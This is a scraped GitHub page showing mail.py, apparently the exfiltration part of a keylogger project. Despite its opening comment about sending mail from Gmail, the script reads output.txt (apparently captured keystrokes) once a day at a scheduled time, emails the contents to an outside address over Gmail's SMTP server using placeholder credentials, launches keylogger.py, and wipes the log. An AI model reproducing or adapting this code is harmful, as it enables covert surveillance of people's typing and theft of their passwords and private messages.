-
Notifications
You must be signed in to change notification settings - Fork 9
/
mail.py
40 lines (31 loc) · 865 Bytes
/
mail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Python code to illustrate Sending mail from
# your Gmail account
import smtplib
import time
import os
import datetime
import pip
import schedule
f=open('output.txt','w').close()
def sendmail():
# creates SMTP session
s = smtplib.SMTP('smtp.gmail.com', 587)
# start TLS for security
s.starttls()
# Authentication
s.login("xyz@email.com", "abc")
f=open('output.txt','r')
# message to be sent
message = "Subject:{0}\n\n{1}".format(datetime.datetime.now().strftime("%d-%m-%y %H:%M:%S"),f.read())
print(message)
# sending the mail
s.sendmail("email@gmail.com", "xyz@gmail.com", message)
# terminating the session
s.quit()
os.system('python keylogger.py')
f.close()
f=open('output.txt','w').close()
schedule.every().day.at("11:58").do(sendmail)
while True:
schedule.run_pending()
time.sleep(1)